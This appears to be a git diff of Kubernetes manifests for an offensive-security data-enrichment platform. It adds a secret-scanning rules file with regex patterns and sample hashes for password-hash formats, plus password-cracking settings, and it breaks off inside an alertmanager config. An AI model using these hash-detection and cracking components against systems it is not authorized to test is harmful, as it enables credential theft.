Services"},"coreMigrationVersion":"8.3.3","id":"e4c48570-7e3e-11ed-9f54-2def5956b9b7","migrationVersion":{"search":"8.0.0"},"references":[{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern"},{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index","type":"index-pattern"},{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.filter[1].meta.index","type":"index-pattern"},{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.filter[2].meta.index","type":"index-pattern"},{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.filter[3].meta.index","type":"index-pattern"}],"sort":[1671304780900,619],"type":"search","updated_at":"2022-12-17T19:19:40.900Z","version":"WzU4MCwxXQ=="}
+ {"attributes":{"columns":["kubernetes.pod_ip","kubernetes.pod_name","log"],"description":"","grid":{"columns":{"kubernetes.container_name":{"width":208},"kubernetes.labels.app":{"width":398.6666666666667},"kubernetes.pod_ip":{"width":129.66666666666663},"kubernetes.pod_name":{"width":206.66666666666669}}},"hideChart":false,"kibanaSavedObjectMeta":{"searchSourceJSON":"{\"query\":{\"query\":\"NOT log:\\\"GET /ready\\\"\",\"language\":\"kuery\"},\"filter\":[{\"meta\":{\"alias\":null,\"negate\":false,\"disabled\":false,\"type\":\"phrase\",\"key\":\"kubernetes.labels.app\",\"params\":{\"query\":\"generate-crack-list\"},\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index\"},\"query\":{\"match_phrase\":{\"kubernetes.labels.app\":\"generate-crack-list\"}},\"$state\":{\"store\":\"appState\"}}],\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\"}"},"sort":[["@timestamp","desc"]],"title":"Logs - generate-crack-list"},"coreMigrationVersion":"8.3.3","id":"fb1c60e0-7cd6-11ed-b4d6-697552d297be","migrationVersion":{"search":"8.0.0"},"references":[{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern"},{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index","type":"index-pattern"}],"sort":[1671304274669,21],"type":"search","updated_at":"2022-12-17T19:11:14.669Z","version":"WzI0LDFd"}
+ {"attributes":{"columns":["kubernetes.pod_name","log"],"description":"","grid":{"columns":{"kubernetes.container_name":{"width":208},"kubernetes.labels.app":{"width":398.6666666666667},"kubernetes.pod_ip":{"width":129.66666666666663},"kubernetes.pod_name":{"width":206.66666666666669}}},"hideChart":false,"kibanaSavedObjectMeta":{"searchSourceJSON":"{\"query\":{\"query\":\"NOT log:\\\"GET /metrics\\\"\",\"language\":\"kuery\"},\"filter\":[{\"meta\":{\"alias\":null,\"negate\":false,\"disabled\":false,\"type\":\"phrase\",\"key\":\"kubernetes.labels.app\",\"params\":{\"query\":\"web-api\"},\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index\"},\"query\":{\"match_phrase\":{\"kubernetes.labels.app\":\"web-api\"}},\"$state\":{\"store\":\"appState\"}}],\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\"}"},"sort":[["@timestamp","desc"]],"title":"Logs - web-api (Nemesis Web API)"},"coreMigrationVersion":"8.3.3","id":"fc99d5f0-7cd2-11ed-b4d6-697552d297be","migrationVersion":{"search":"8.0.0"},"references":[{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern"},{"id":"50ee9180-7ccf-11ed-b4d6-697552d297be","name":"kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index","type":"index-pattern"}],"sort":[1671304274669,36],"type":"search","updated_at":"2022-12-17T19:11:14.669Z","version":"WzI5LDFd"}
+ {"excludedObjects":[],"excludedObjectsCount":0,"exportedCount":24,"missingRefCount":0,"missingReferences":[]}
diff --git a/kubernetes/enrichment/configmap.yml b/kubernetes/enrichment/configmap.yml
new file mode 100644
index 0000000..b432ced
--- /dev/null
+++ b/kubernetes/enrichment/configmap.yml
@@ -0,0 +1,111 @@
+apiVersion: v1
+kind: ConfigMap
+metadata:
+ name: noseyparker-rules
+data:
+ noseyparker.rules: |
+ rules:
+
+ - name: sha256crypt Hash
+ pattern: '(\$5\$(?:rounds=\d+\$)?[\./A-Za-z0-9]{1,16}\$(?:(?:[\./A-Za-z0-9]{43})))'
+ references:
+ - https://akkadia.org/drepper/SHA-crypt.txt
+ - https://hashcat.net/wiki/doku.php?id=example_hashes
+ examples:
+ - '$5$rounds=5000$GX7BopJZJxPc/KEK$le16UF8I2Anb.rOrn22AUPWvzUETDGefUmAV8AZkGcD'
+ - '$5$B7RCoZun804NXFH3$PltCS6kymC/bJTQ21oQOMCLlItYP9uXvEaCV89jl5iB'
+ - '$5$JzPB.C/yL0uBMMIK$/2Jr.LeQUg0Sgbm8UhF01d1X643/YHdmRzwlVmt3ut3'
+ - '$5$rounds=80000$wnsT7Yr92oJoP28r$cKhJImk5mfuSKV9b3mumNzlbstFUplKtQXXMo4G6Ep5'
+ - '$5$rounds=12345$q3hvJE5mn5jKRsW.$BbbYTFiaImz9rTy03GGi.Jf9YY5bmxN0LU3p3uI1iUB'
+
+
+ - name: sha512crypt Hash
+ pattern: '(\$6\$(?:rounds=\d+\$)?[\./A-Za-z0-9]{1,16}\$(?:(?:[\./A-Za-z0-9]{43})))'
+ references:
+ - https://akkadia.org/drepper/SHA-crypt.txt
+ - https://hashcat.net/wiki/doku.php?id=example_hashes
+ examples:
+ - '$6$52450745$k5ka2p8bFuSmoVT1tzOyyuaREkkKBcCNqoDKzYiJL9RaE8yMnPgh2XzzF0NDrUhgrcLwg78xs1w5pJiypEdFX/'
+ - '$6$Blzt0pLMHZqPNTwR$jR4F0zo6hXipl/0Xs8do1YWRpr47mGcH49l.NCsJ6hH0VQdORfUP1K1HYar1a5XgH1/JFyTGnyrTPmKJBIoLx.'
+
+
+ # - name: md5 Hash
+ # pattern: '(?:(?:.*[^0-9a-zA-Z]+)|(?:\A|\r|\n|\r\n))([0-9a-fA-F]{32})(?:(?:[^0-9a-zA-Z]+.*)|(?:\z|\r|\n|\r\n))'
+ # references:
+ # - https://en.wikipedia.org/wiki/MD5
+ # - https://hashcat.net/wiki/doku.php?id=example_hashes
+ # examples:
+ # - c123bdb6574e817ac0a5f8b2e097b986
+ # - "This is a matching hash:c3b4e0d9409362db47eaf45ea025befb"
+ # #- "This is NOT a matching hash:c3b4e0d9409362db47eaf45ea025befba"
+
+
+ # - name: sha1 Hash
+ # pattern: '(?:(?:.*[^0-9a-zA-Z]+)|(?:\A|\r|\n|\r\n))([0-9a-fA-F]{40})(?:(?:[^0-9a-zA-Z]+.*)|(?:\z|\r|\n|\r\n))'
+ # references:
+ # - https://en.wikipedia.org/wiki/SHA-1
+ # - https://hashcat.net/wiki/doku.php?id=example_hashes
+ # examples:
+ # - c3ebd40a7429b6bfee7ee0be896698709fc3cc58
+ # - "This is a matching hash:46d66eccea3d78f91b363940c0e2148d6e2c69cc"
+ # #- "This is NOT a matching hash:46d66eccea3d78f91b363940c0e2148d6e2c69ccd"
+
+
+ # - name: sha256 Hash
+ # pattern: '(?:(?:.*[^0-9a-zA-Z]+)|(?:\A|\r|\n|\r\n))([0-9a-fA-F]{64})(?:(?:[^0-9a-zA-Z]+.*)|(?:\z|\r|\n|\r\n))'
+ # references:
+ # - https://en.wikipedia.org/wiki/SHA-2
+ # - https://hashcat.net/wiki/doku.php?id=example_hashes
+ # examples:
+ # - 503cae96893c71dafb3b2676f532b4e338615b1970c1fa2a6289d690565815a9
+ # - "Hash:fa6bfe5050c224a5b156192a2532c7bacc66984ed18ae7eb78dcce0aa889b553"
+
+
+ # - name: sha512 Hash
+ # pattern: '(?:(?:.*[^0-9a-zA-Z]+)|(?:\A|\r|\n|\r\n))([0-9a-fA-F]{128})(?:(?:[^0-9a-zA-Z]+.*)|(?:\z|\r|\n|\r\n))'
+ # references:
+ # - https://en.wikipedia.org/wiki/SHA-2
+ # - https://hashcat.net/wiki/doku.php?id=example_hashes
+ # examples:
+ # - 89e2c4ee9acf9b8a75b3996cc1888c7e7b12abfe5d6274ed833f28c0e741f3da179a4e08382e8a933304bb70cbc56eb91ad574ac10ef74387d7a1e0f914b9e49
+ # - "This matches:28404ec2e13d737421d1fc7b0e9a714bef205a94909f3cc9364cb6071d41470c1716c9624197b8035e07c0cf1541efada2fce1b3e2a6be5f69a5586c6c1d66f3"
+
+
+ # TODO: should the MSSQL hashes also include lower case?
+ - name: MSSQL 2000 Hash
+ pattern: '(?:(?:.*[^0-9a-zA-Z]+)|(?:\A|\r|\n|\r\n))(0x0100[0-9aA-Z]{88})(?:(?:[^0-9a-zA-Z]+.*)|(?:\z|\r|\n|\r\n))'
+ references:
+ - https://passlib.readthedocs.io/en/stable/lib/passlib.hash.mssql2000.html#format-algorithm
+ - https://hashcat.net/wiki/doku.php?id=example_hashes
+ examples:
+ - "0x0100B8774E298FB5A76E6F6B2F81D774C0D259013EEBA4DB055A2D60D9196C5B39E8CB7C0743D440B839FC4DD213"
+ - "This matches:0x0100E27C4F095B63A0E0F6C2F70E26FD5B19814EF48178AD0BF4BCB0E4E3413E4F840DF235E27334F9864760858B"
+ #- "This DOESN'T match:0x010005A09412D92CE07A0EA0F23D59847CF6569115DB3DD9F26B389CF22BDE0BE007C3D3145146D0ABC78723B0899"
+
+
+ - name: MSSQL 2012/2014 Hash
+ pattern: '(?:(?:.*[^0-9a-zA-Z]+)|(?:\A|\r|\n|\r\n))(0x0200[0-9aA-Z]{136})(?:(?:[^0-9a-zA-Z]+.*)|(?:\z|\r|\n|\r\n))'
+ references:
+ - https://hashcat.net/forum/thread-1474.html
+ - https://hashcat.net/wiki/doku.php?id=example_hashes
+ examples:
+ - "0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16"
+ - "This matches:0x0200881E2999DD8E3583695F405696257B99559953705A34D774C15AC1D42699BB77BC56DB5F657751335C1B350890E643790553B60329CAE7A2E7D3C04CF8856C4DB0058723"
+
+
+ - name: CISCO-IOS Type 8 Hash
+ pattern: '(?:(?:.*[^0-9a-zA-Z]+)|(?:\A|\r|\n|\r\n))(\$8\$[0-9a-zA-Z\./]{14}\$[0-9a-zA-Z\./]{43})(?:(?:[^0-9a-zA-Z]+.*)|(?:\z|\r|\n|\r\n))'
+ references:
+ - https://foss.heptapod.net/python-libs/passlib/-/issues/87
+ - https://hashcat.net/wiki/doku.php?id=example_hashes
+ examples:
+ - "$8$TnGX/fE4KGHOVU$pEhnEvxrvaynpi8j4f.EMHr6M.FzU8xnZnBr/tJdFWk"
+
+
+ - name: CISCO-IOS Type 9 Hash
+ pattern: '(?:(?:.*[^0-9a-zA-Z]+)|(?:\A|\r|\n|\r\n))(\$9\$[0-9a-zA-Z\./]{14}\$[0-9a-zA-Z\./]{43})(?:(?:[^0-9a-zA-Z]+.*)|(?:\z|\r|\n|\r\n))'
+ references:
+ - https://foss.heptapod.net/python-libs/passlib/-/issues/87
+ - https://hashcat.net/wiki/doku.php?id=example_hashes
+ examples:
+ - "This matches:$9$2MJBozw/9R3UsU$2lFhcKvpghcyw8deP25GOfyZaagyUOGBymkryvOdfo6"
diff --git a/kubernetes/enrichment/deployment.yaml b/kubernetes/enrichment/deployment.yaml
new file mode 100644
index 0000000..618874c
--- /dev/null
+++ b/kubernetes/enrichment/deployment.yaml
@@ -0,0 +1,221 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ name: enrichment
+ labels:
+ app: enrichment
+ component: enrichment-pipeline
+spec:
+ replicas: 1
+ selector:
+ matchLabels:
+ app: enrichment
+ strategy: {}
+ template:
+ metadata:
+ labels:
+ app: enrichment
+ component: enrichment-pipeline
+ spec:
+ volumes:
+ - name: noseyparker
+ emptyDir: {}
+ - name: noseyparker-rules
+ configMap:
+ name: noseyparker-rules
+ initContainers:
+ - name: noseyparker
+ image: ghcr.io/praetorian-inc/noseyparker:v0.13.0
+ command: ["sh", "-c", "cp /usr/local/bin/noseyparker /opt/noseyparker/"]
+ volumeMounts:
+ - name: noseyparker
+ mountPath: /opt/noseyparker/
+ containers:
+ - env:
+ - name: LOG_LEVEL
+ valueFrom:
+ configMapKeyRef:
+ name: operation-config
+ key: log-level
+ - name: DATA_DOWNLOAD_DIR
+ value: "/tmp"
+ - name: ENVIRONMENT
+ value: development
+
+ - name: CRACK_WORDLIST_TOP_WORDS
+ value: "10000" # either 10,000 or 100,000
+ - name: JTR_INSTANCES
+ value: "1"
+
+ - name: EXTRACTED_ARCHIVE_SIZE_LIMIT # limit of extracted archives to process, 500 MB
+ value: "500000000"
+ - name: CHUNK_SIZE # number of bytes to read at a time per file
+ value: "128000"
+ - name: MODEL_WORD_LIMIT # only extract passwords for documents below this word limit
+ value: "100000"
+ - name: YARA_API_PORT
+ value: "9700"
+
+ - name: DISABLE_ALERTING
+ value: "False"
+
+ - name: CONTEXT_WORDS
+ value: "5"
+ - name: ML_CHUNK_SIZE
+ value: "5000"
+ - name: PROB_THRESHOLD
+ value: ".95"
+
+ - name: TENSORFLOW_URI
+ value: "http://tensorflow-serving:8501/"
+ - name: TIKA_URI
+ value: http://tika:9998/
+ - name: DOTNET_URI
+ value: http://dotnet:9800/
+ - name: GOTENBERG_URI
+ value: http://gotenberg:3000/
+ - name: ML_MODELS_URI
+ value: http://127.0.0.1:5000/
+ - name: CRACK_LIST_URI
+ value: http://127.0.0.1:9900/
+ - name: NEMESIS_HTTP_SERVER
+ valueFrom:
+ configMapKeyRef:
+ name: operation-config
+ key: nemesis-http-server
+ - name: PUBLIC_KIBANA_URL
+ value: "$(NEMESIS_HTTP_SERVER)/kibana/"
+ - name: WEB_API_URL
+ value: "$(NEMESIS_HTTP_SERVER)/api/"
+
+ - name: POSTGRES_SERVER
+ value: postgres
+ - name: POSTGRES_PORT
+ value: "5432"
+ - name: POSTGRES_DATABASE
+ value: nemesis
+ - name: POSTGRES_USER
+ valueFrom:
+ secretKeyRef:
+ name: postgres-creds
+ key: postgres-user
+ - name: POSTGRES_PASSWORD
+ valueFrom:
+ secretKeyRef:
+ name: postgres-creds
+ key: postgres-password
+ - name: POSTGRES_CONNECTION_URI
+ value: "postgresql://$(POSTGRES_USER):$(POSTGRES_PASSWORD)@$(POSTGRES_SERVER):$(POSTGRES_PORT)/$(POSTGRES_DATABASE)"
+ - name: DB_ITERATION_SIZE
+ value: "1000"
+
+ - name: PROMETHEUS_DISABLE_CREATED_SERIES
+ value: "True"
+ - name: AWS_ACCESS_KEY_ID
+ valueFrom:
+ secretKeyRef:
+ name: aws-creds
+ key: aws_access_key_id
+ - name: AWS_SECRET_ACCESS_KEY
+ valueFrom:
+ secretKeyRef:
+ name: aws-creds
+ key: aws_secret_key
+ - name: AWS_BUCKET
+ valueFrom:
+ configMapKeyRef:
+ name: aws-config
+ key: aws-bucket
+ - name: AWS_DEFAULT_REGION
+ valueFrom:
+ configMapKeyRef:
+ name: aws-config
+ key: aws-default-region
+ - name: AWS_KMS_KEY_ALIAS
+ valueFrom:
+ configMapKeyRef:
+ name: aws-config
+ key: aws-kms-key-alias
+
+ - name: STORAGE_PROVIDER
+ valueFrom:
+ configMapKeyRef:
+ name: operation-config
+ key: storage_provider
+ - name: MINIO_ROOT_USER
+ valueFrom:
+ secretKeyRef:
+ name: minio-creds
+ key: minio_root_user
+ - name: MINIO_ROOT_PASSWORD
+ valueFrom:
+ secretKeyRef:
+ name: minio-creds
+ key: minio_root_password
+
+ - name: ASSESSMENT_ID
+ valueFrom:
+ configMapKeyRef:
+ name: operation-config
+ key: assessment-id
+ - name: RABBITMQ_CONNECTION_URI
+ valueFrom:
+ secretKeyRef:
+ name: rabbitmq-creds
+ key: rabbitmq-connectionuri
+ - name: ELASTICSEARCH_URL
+ value: http://nemesis-es-internal-http:9200/
+ - name: KIBANA_URL
+ value: http://nemesis-kb-http:5601/
+ - name: ELASTICSEARCH_USER
+ valueFrom:
+ secretKeyRef:
+ name: elasticsearch-users
+ key: username
+ - name: ELASTICSEARCH_PASSWORD
+ valueFrom:
+ secretKeyRef:
+ name: elasticsearch-users
+ key: password
+ - name: PROMETHEUS_PORT
+ value: "8000"
+ - name: SLACK_CHANNEL
+ valueFrom:
+ configMapKeyRef:
+ name: operation-config
+ key: slack-alert-channel
+ - name: SLACK_WEBHOOK_URL
+ valueFrom:
+ secretKeyRef:
+ name: operation-creds
+ key: slack_web_hook
+ - name: SLACK_USERNAME
+ value: Nemesis
+ - name: SLACK_EMOJI
+ value: ":smiling_imp:"
+ - name: REPROCESSING_WORKERS
+ value: "5"
+
+ image: enrichment
+ name: enrichment
+ ports:
+ - containerPort: 9700
+ name: yara-http
+ resources: {}
+ volumeMounts:
+ - name: noseyparker
+ mountPath: /opt/noseyparker/
+ - name: noseyparker-rules
+ mountPath: /opt/noseyparker/noseyparker.rules
+ subPath: noseyparker.rules
+ readOnly: true
+ readinessProbe:
+ httpGet:
+ path: /ready
+ port: yara-http
+ initialDelaySeconds: 5
+ periodSeconds: 5
+ timeoutSeconds: 5
+ failureThreshold: 10
+ restartPolicy: Always
+status: {}
diff --git a/kubernetes/enrichment/ingress.yaml b/kubernetes/enrichment/ingress.yaml
new file mode 100644
index 0000000..693f559
--- /dev/null
+++ b/kubernetes/enrichment/ingress.yaml
@@ -0,0 +1,44 @@
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+ name: enrichment-ingress
+ annotations:
+ nginx.ingress.kubernetes.io/proxy-body-size: "1000m"
+ nginx.ingress.kubernetes.io/auth-type: basic
+ nginx.ingress.kubernetes.io/auth-secret: basic-auth
+ nginx.ingress.kubernetes.io/auth-realm: 'Authentication Required'
+ nginx.ingress.kubernetes.io/ssl-redirect: "false"
+ nginx.ingress.kubernetes.io/rewrite-target: /$2
+spec:
+ ingressClassName: nginx
+ rules:
+ - http:
+ paths:
+ - path: /crack-list(/|$)(.*)
+ pathType: Prefix
+ backend:
+ service:
+ name: enrichment-cracklist
+ port:
+ number: 9900
+ - path: /yara(/|$)(.*)
+ pathType: Prefix
+ backend:
+ service:
+ name: enrichment-yara
+ port:
+ number: 9700
+ - path: /api(/|$)(.*)
+ pathType: Prefix
+ backend:
+ service:
+ name: enrichment-webapi
+ port:
+ number: 9910
+ - path: /
+ pathType: Prefix
+ backend:
+ service:
+ name: enrichment-landingpage
+ port:
+ number: 9920
diff --git a/kubernetes/enrichment/service.yaml b/kubernetes/enrichment/service.yaml
new file mode 100644
index 0000000..ee7baa7
--- /dev/null
+++ b/kubernetes/enrichment/service.yaml
@@ -0,0 +1,75 @@
+apiVersion: v1
+kind: Service
+metadata:
+ labels:
+ app: enrichment
+ component: enrichment-pipeline
+ name: enrichment-yara
+spec:
+ type: NodePort
+ ports:
+ - name: "9700"
+ port: 9700
+ targetPort: 9700
+ nodePort: 30079
+ selector:
+ app: enrichment
+status:
+ loadBalancer: {}
+---
+apiVersion: v1
+kind: Service
+metadata:
+ labels:
+ app: enrichment
+ component: enrichment-pipeline
+ name: enrichment-cracklist
+spec:
+ type: NodePort
+ ports:
+ - name: "9900"
+ port: 9900
+ targetPort: 9900
+ nodePort: 30089
+ selector:
+ app: enrichment
+status:
+ loadBalancer: {}
+---
+apiVersion: v1
+kind: Service
+metadata:
+ labels:
+ app: enrichment
+ component: enrichment-pipeline
+ name: enrichment-webapi
+spec:
+ type: NodePort
+ ports:
+ - name: "9910"
+ port: 9910
+ targetPort: 9910
+ nodePort: 30808
+ selector:
+ app: enrichment
+status:
+ loadBalancer: {}
+---
+apiVersion: v1
+kind: Service
+metadata:
+ labels:
+ app: enrichment
+ component: enrichment-landingpage
+ name: enrichment-landingpage
+spec:
+ type: NodePort
+ ports:
+ - name: "9920"
+ port: 9920
+ targetPort: 9920
+ nodePort: 30809
+ selector:
+ app: enrichment
+status:
+ loadBalancer: {}
diff --git a/kubernetes/gotenberg/deployment.yaml b/kubernetes/gotenberg/deployment.yaml
new file mode 100644
index 0000000..0f20a49
--- /dev/null
+++ b/kubernetes/gotenberg/deployment.yaml
@@ -0,0 +1,55 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ name: gotenberg
+ labels:
+ app: gotenberg
+spec:
+ # replicas: 2
+ replicas: 1
+ selector:
+ matchLabels:
+ app: gotenberg
+ strategy: {}
+ template:
+ metadata:
+ labels:
+ app: gotenberg
+ spec:
+ securityContext:
+ runAsUser: 1001
+ runAsGroup: 1001
+ fsGroup: 1001
+ containers:
+ - env:
+ - name: DISABLE_GOOGLE_CHROME
+ value: "1"
+ # - name: DEFAULT_WAIT_TIMEOUT
+ # value: "60"
+ # - name: MAXIMUM_WAIT_TIMEOUT
+ # value: "60"
+ image: gotenberg/gotenberg:7.8.0
+ name: gotenberg
+ # command: ["gotenberg", "--uno-listener-restart-threshold=0"]
+ ports:
+ - containerPort: 3000
+ name: http
+ resources: {}
+ # resources:
+ # # requests as specified in https://gotenberg.dev/docs/get-started/kubernetes
+ # requests:
+ # memory: "512Mi"
+ # cpu: "200m"
+ # limits:
+ # memory: "1Gi"
+ # cpu: "500m"
+ readinessProbe:
+ httpGet:
+ path: /health
+ port: http
+ initialDelaySeconds: 5
+ periodSeconds: 60
+ timeoutSeconds: 5
+ failureThreshold: 5
+ restartPolicy: Always
+status: {}
diff --git a/kubernetes/gotenberg/network.yml b/kubernetes/gotenberg/network.yml
new file mode 100644
index 0000000..a315710
--- /dev/null
+++ b/kubernetes/gotenberg/network.yml
@@ -0,0 +1,12 @@
+apiVersion: networking.k8s.io/v1
+kind: NetworkPolicy
+metadata:
+ name: gotenberg-deny-all
+ namespace: default
+spec:
+ policyTypes:
+ - Egress
+ podSelector:
+ matchLabels:
+ app: gotenberg
+ egress: []
diff --git a/kubernetes/gotenberg/service.yaml b/kubernetes/gotenberg/service.yaml
new file mode 100644
index 0000000..43c2daf
--- /dev/null
+++ b/kubernetes/gotenberg/service.yaml
@@ -0,0 +1,17 @@
+apiVersion: v1
+kind: Service
+metadata:
+ labels:
+ app: gotenberg
+ name: gotenberg
+spec:
+ type: NodePort
+ ports:
+ - name: "3000"
+ port: 3000
+ targetPort: 3000
+ nodePort: 31300
+ selector:
+ app: gotenberg
+status:
+ loadBalancer: {}
diff --git a/kubernetes/helm/values/ingress-nginx.yaml b/kubernetes/helm/values/ingress-nginx.yaml
new file mode 100644
index 0000000..6c60547
--- /dev/null
+++ b/kubernetes/helm/values/ingress-nginx.yaml
@@ -0,0 +1 @@
+# Place to add any extra vars
\ No newline at end of file
diff --git a/kubernetes/metrics-server/metrics-server.yaml b/kubernetes/metrics-server/metrics-server.yaml
new file mode 100644
index 0000000..ef2ffa3
--- /dev/null
+++ b/kubernetes/metrics-server/metrics-server.yaml
@@ -0,0 +1,198 @@
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+ labels:
+ k8s-app: metrics-server
+ name: metrics-server
+ namespace: kube-system
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+ labels:
+ k8s-app: metrics-server
+ rbac.authorization.k8s.io/aggregate-to-admin: "true"
+ rbac.authorization.k8s.io/aggregate-to-edit: "true"
+ rbac.authorization.k8s.io/aggregate-to-view: "true"
+ name: system:aggregated-metrics-reader
+rules:
+- apiGroups:
+ - metrics.k8s.io
+ resources:
+ - pods
+ - nodes
+ verbs:
+ - get
+ - list
+ - watch
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+ labels:
+ k8s-app: metrics-server
+ name: system:metrics-server
+rules:
+- apiGroups:
+ - ""
+ resources:
+ - nodes/metrics
+ verbs:
+ - get
+- apiGroups:
+ - ""
+ resources:
+ - pods
+ - nodes
+ verbs:
+ - get
+ - list
+ - watch
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+ labels:
+ k8s-app: metrics-server
+ name: metrics-server-auth-reader
+ namespace: kube-system
+roleRef:
+ apiGroup: rbac.authorization.k8s.io
+ kind: Role
+ name: extension-apiserver-authentication-reader
+subjects:
+- kind: ServiceAccount
+ name: metrics-server
+ namespace: kube-system
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+ labels:
+ k8s-app: metrics-server
+ name: metrics-server:system:auth-delegator
+roleRef:
+ apiGroup: rbac.authorization.k8s.io
+ kind: ClusterRole
+ name: system:auth-delegator
+subjects:
+- kind: ServiceAccount
+ name: metrics-server
+ namespace: kube-system
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+ labels:
+ k8s-app: metrics-server
+ name: system:metrics-server
+roleRef:
+ apiGroup: rbac.authorization.k8s.io
+ kind: ClusterRole
+ name: system:metrics-server
+subjects:
+- kind: ServiceAccount
+ name: metrics-server
+ namespace: kube-system
+---
+apiVersion: v1
+kind: Service
+metadata:
+ labels:
+ k8s-app: metrics-server
+ name: metrics-server
+ namespace: kube-system
+spec:
+ ports:
+ - name: https
+ port: 443
+ protocol: TCP
+ targetPort: https
+ selector:
+ k8s-app: metrics-server
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ labels:
+ k8s-app: metrics-server
+ name: metrics-server
+ namespace: kube-system
+spec:
+ selector:
+ matchLabels:
+ k8s-app: metrics-server
+ strategy:
+ rollingUpdate:
+ maxUnavailable: 0
+ template:
+ metadata:
+ labels:
+ k8s-app: metrics-server
+ spec:
+ containers:
+ - args:
+ - --cert-dir=/tmp
+ - --secure-port=4443
+ - --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname
+ - --kubelet-use-node-status-port
+ - --metric-resolution=15s
+ - --kubelet-insecure-tls
+ - --kubelet-preferred-address-types=InternalIP
+ image: k8s.gcr.io/metrics-server/metrics-server:v0.6.1
+ imagePullPolicy: IfNotPresent
+ livenessProbe:
+ failureThreshold: 3
+ httpGet:
+ path: /livez
+ port: https
+ scheme: HTTPS
+ periodSeconds: 10
+ name: metrics-server
+ ports:
+ - containerPort: 4443
+ name: https
+ protocol: TCP
+ readinessProbe:
+ failureThreshold: 3
+ httpGet:
+ path: /readyz
+ port: https
+ scheme: HTTPS
+ initialDelaySeconds: 20
+ periodSeconds: 10
+ resources:
+ requests:
+ cpu: 100m
+ memory: 200Mi
+ securityContext:
+ allowPrivilegeEscalation: false
+ readOnlyRootFilesystem: true
+ runAsNonRoot: true
+ runAsUser: 1000
+ volumeMounts:
+ - mountPath: /tmp
+ name: tmp-dir
+ nodeSelector:
+ kubernetes.io/os: linux
+ priorityClassName: system-cluster-critical
+ serviceAccountName: metrics-server
+ volumes:
+ - emptyDir: {}
+ name: tmp-dir
+---
+apiVersion: apiregistration.k8s.io/v1
+kind: APIService
+metadata:
+ labels:
+ k8s-app: metrics-server
+ name: v1beta1.metrics.k8s.io
+spec:
+ group: metrics.k8s.io
+ groupPriorityMinimum: 100
+ insecureSkipTLSVerify: true
+ service:
+ name: metrics-server
+ namespace: kube-system
+ version: v1beta1
+ versionPriority: 100
diff --git a/kubernetes/minio/ingress.yaml b/kubernetes/minio/ingress.yaml
new file mode 100644
index 0000000..43bb082
--- /dev/null
+++ b/kubernetes/minio/ingress.yaml
@@ -0,0 +1,22 @@
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+ name: minio-ingress
+ annotations:
+ nginx.ingress.kubernetes.io/auth-type: basic
+ nginx.ingress.kubernetes.io/auth-secret: basic-auth
+ nginx.ingress.kubernetes.io/auth-realm: 'Authentication Required'
+ ingress.kubernetes.io/ssl-redirect: "false"
+ nginx.ingress.kubernetes.io/rewrite-target: /$2
+spec:
+ ingressClassName: nginx
+ rules:
+ - http:
+ paths:
+ - path: /minio(/|$)(.*)
+ pathType: Prefix
+ backend:
+ service:
+ name: minio
+ port:
+ number: 9001
diff --git a/kubernetes/monitoring/alertmanager.yaml b/kubernetes/monitoring/alertmanager.yaml
new file mode 100644
index 0000000..5f5f202
--- /dev/null
+++ b/kubernetes/monitoring/alertmanager.yaml
@@ -0,0 +1,309 @@
+apiVersion: v1
+kind: Service
+metadata:
+ name: alertmanager
+ namespace: monitoring
+ annotations:
+ prometheus.io/scrape: "true"
+ prometheus.io/port: "9093"
+spec:
+ selector:
+ app: alertmanager
+ type: NodePort
+ ports:
+ - port: 9093
+ targetPort: 9093
+ nodePort: 31000
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ name: alertmanager
+ namespace: monitoring
+spec:
+ replicas: 1
+ selector:
+ matchLabels:
+ app: alertmanager
+ template:
+ metadata:
+ name: alertmanager
+ labels:
+ app: alertmanager
+ spec:
+ initContainers:
+ - args:
+ - sh
+ - -c
+ - cat /config.yml | envsubst > /etc/alertmanager/config.yml
+ image: bhgedigital/envsubst
+ name: envsubst
+ env:
+ - name: SLACK_ALERT_CHANNEL
+ valueFrom:
+ configMapKeyRef:
+ name: operation-config
+ key: slack-alert-channel
+ - name: SLACK_WEB_HOOK
+ valueFrom:
+ secretKeyRef:
+ name: operation-creds
+ key: slack_web_hook
+ volumeMounts:
+ - mountPath: /etc/alertmanager
+ name: alertmanager
+ - mountPath: /config.yml
+ subPath: config.yml
+ name: config-volume
+ containers:
+ - name: alertmanager
+ image: prom/alertmanager:v0.24.0
+ args:
